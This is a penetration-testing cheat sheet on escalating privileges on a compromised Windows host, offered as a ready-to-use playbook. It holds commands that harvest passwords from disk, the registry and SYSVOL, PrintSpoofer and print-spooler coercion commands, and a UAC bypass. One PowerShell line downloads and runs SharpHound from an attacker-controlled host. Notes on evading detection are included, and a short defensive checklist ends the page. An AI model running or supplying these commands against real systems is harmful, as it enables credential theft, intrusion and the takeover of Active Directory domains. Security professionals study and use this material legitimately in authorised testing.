black electronics

Windows Privilege Escalation

Escalating Privileges on Windows

Windows Privilege Escalation

Once an initial low-privileged foothold has been gained on a Windows host, privilege escalation is the process of finding a path to local administrator or SYSTEM. This covers automated enumeration, manual system checks, harvesting credentials left on disk, abusing SeImpersonatePrivilege, and using a compromised host as a base for Active Directory attacks.

Overview

Most of the techniques covered elsewhere in post-exploitation, credential dumping in particular, assume local administrator or SYSTEM access has already been obtained. Privilege escalation is how that access is reached in the first place, starting from a low-privileged foothold on the box.

Automated Enumeration

Run an automated check before anything manual, it’s faster and rarely misses the obvious paths.

WinPEAS, part of the PEASS-ng suite, is the standard starting point.

PrivescCheck covers similar ground natively in PowerShell, useful where dropping a compiled binary isn’t an option:

Terminal window
Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object result.txt

Check current privileges directly at any point:

whoami /priv
whoami /all

Manual System Enumeration

Where an automated scanner isn’t available or its output needs confirming, these cover the same ground manually.

systeminfo # OS version, patch level
hostname
wmic qfe get Caption,Description,HotFixID,InstalledOn # installed hotfixes
net users # local accounts
net localgroups # local groups
net group /domain # domain groups, if domain-joined
ipconfig /all
route print
arp -A
tasklist /SVC # running processes and their services
netstat -ano # network connections
netstat -abno # network connections with owning binary
dir /a-r-d /s /b # writable directories

Unquoted service paths are still worth checking on older estates. Run from cmd.exe:

sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

or the PowerShell equivalent, which also filters down to only the paths actually vulnerable (unquoted and containing a space):

Terminal window
sc.exe query state= all | Select-String "SERVICE_NAME:" | ForEach-Object { $_.Line -replace "SERVICE_NAME: ", "" } | ForEach-Object { $service = $_; $binaryPath = (sc.exe qc $service | Select-String "BINARY_PATH_NAME").Line; if ($binaryPath -match 'BINARY_PATH_NAME\s*:\s*".*\s.*"') { Write-Output $service; Write-Output $binaryPath } }

Harvesting Credentials from Disk, Registry and Shares

Plaintext or recoverable credentials left behind in scripts, configs and Group Policy are common enough to always check for.

dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
findstr /si password *.xml *.ini *.txt >> report.txt
reg query HKLM /f password /t REG_SZ /s >> report.txt
reg query HKCU /f password /t REG_SZ /s >> report.txt

The PowerShell equivalent, scoped to file types most likely to contain something useful:

Terminal window
gci C:\ -Include *.cs,*.xml,*.config,*.conf,*.cfg,*.ini,*.html,*.aspx,*.asp,*.reg,*.txt -File -Recurse -EA SilentlyContinue | Select-String -Pattern "assword"

Group Policy Preferences historically stored local account passwords, encrypted with a key Microsoft later published, in SYSVOL. Any domain user can read them:

findstr /S cpassword %logonserver%\sysvol\*.xml

The recovered cpassword value can be decrypted offline with any GPP-password decryption tool, since the AES key involved is public.

The same credential search is worth repeating against any file shares reachable from the host:

Terminal window
gci '\\<file-server>\<share>\' -Recurse -EA SilentlyContinue | Select-String -Pattern "assword"

Abusing SeImpersonatePrivilege

Service accounts are frequently granted SeImpersonatePrivilege, confirmed via whoami /priv above, which is enough on its own to reach SYSTEM through one of the “Potato” family of exploits.

PrintSpoofer is the most reliable starting point on modern Windows:

PrintSpoofer.exe -i -c powershell

Where PrintSpoofer doesn’t apply, JuicyPotato, RoguePotato and SweetPotato cover different Windows versions and mitigation states.

A related coercion technique targets the print spooler remotely from Linux rather than locally: forcing a domain controller’s machine account to authenticate over SMB via the print spooler bug, capturing the resulting Net-NTLM hash, and using NetNTLMtoSilverTicket to convert it directly into a Silver Ticket:

Terminal window
dementor.py -u <username> -p '<password>' -d <domain> <listener_ip> <dc_ip>

krbrelayx’s printerbug.py is an alternative implementation of the same coercion primitive:

Terminal window
printerbug.py -port 445 <domain>/<username>:'<password>'@<listener_ip> <dc_ip>

This is the same forced-authentication family covered on the pass-the-hash and relay attacks page, just aimed at the print spooler instead of EFSRPC. Where a host with unconstrained delegation is already compromised, SpoolSample escalates the same bug straight to a captured domain controller TGT instead of just a relayable hash.

Active Directory Context from a Compromised Host

Where the host is domain-joined, it’s often more useful to collect Active Directory data locally than to wait for a dedicated recon box.

Run SharpHound directly and pull the results into BloodHound, see the BloodHound cheat sheet and the Active Directory enumeration page for collection methods and Cypher queries:

Terminal window
IEX (New-Object Net.WebClient).DownloadString('http://<attacker_ip>:8000/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUser '<username>' -LdapPass '<password>'

PowerView covers manual AD object enumeration where BloodHound isn’t practical to run.

Once an ACL-based attack path has been identified, aclpwn.py can walk it automatically:

Terminal window
aclpwn -f <source_account> -ft user -d <domain> -du '<username>' -dp '<password>'

Domain and trust information is also available directly from a compromised host without any additional tooling:

nltest /dclist:<domain> # domain controllers for a domain
nltest /dsgetdc:<domain> # DC for the current session
nltest /domain_trusts # domain trusts
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
klist # cached Kerberos tickets for the session
klist tgt # cached krbtgt ticket

UAC Bypass

Where a session is running as a local administrator but still restricted by UAC, one of the simpler GUI bypasses is azman.msc’s help viewer:

1. Run azman.msc
2. Open Help
3. Right-click inside the help window -> View Source
4. In the resulting Notepad window, File -> Open
5. Navigate to C:\Windows\System32, right-click cmd.exe -> Open, or Open with -> choose another app

KrbUACBypass covers a Kerberos-based alternative.

Known Vulnerabilities

SMBGhost (CVE-2020-0796) affects SMBv3 compression on unpatched Windows 10/Server versions and is worth a quick version check on any host that hasn’t been patched recently.

Further Tooling

OPSEC Considerations

  • Automated enumeration scripts (WinPEAS, PrivescCheck) are heavily signatured, disabling Defender’s real-time monitoring first is common but is itself a loud, logged action.
  • Potato-family exploits and PrintSpoofer are well known to EDR products, confirm SeImpersonatePrivilege is actually present before reaching for them rather than trying each in turn.
  • SharpHound collection generates a large volume of LDAP and SMB traffic in a short window, consider --Throttle and --Jitter if running from a compromised host in a monitored environment rather than a dedicated recon box.
  • Group Policy Preferences credential exposure (cpassword) is a legacy finding, present it as evidence of a longstanding gap in patching and GPO hygiene rather than a novel discovery.

What Should We Look For?

  • Are unattended installs, scheduled tasks, or scripts leaving plaintext credentials on disk?
  • Do any Group Policy Preferences XML files in SYSVOL still contain a cpassword?
  • Which accounts hold SeImpersonatePrivilege, and are they services that don’t need it?
  • Is the host still vulnerable to SMBGhost or another known, patched local privilege escalation?
  • Would a low-privileged domain user running SharpHound from this host reveal an exploitable ACL-based attack path?
Useful LinksPentest PayloadsCheat Sheets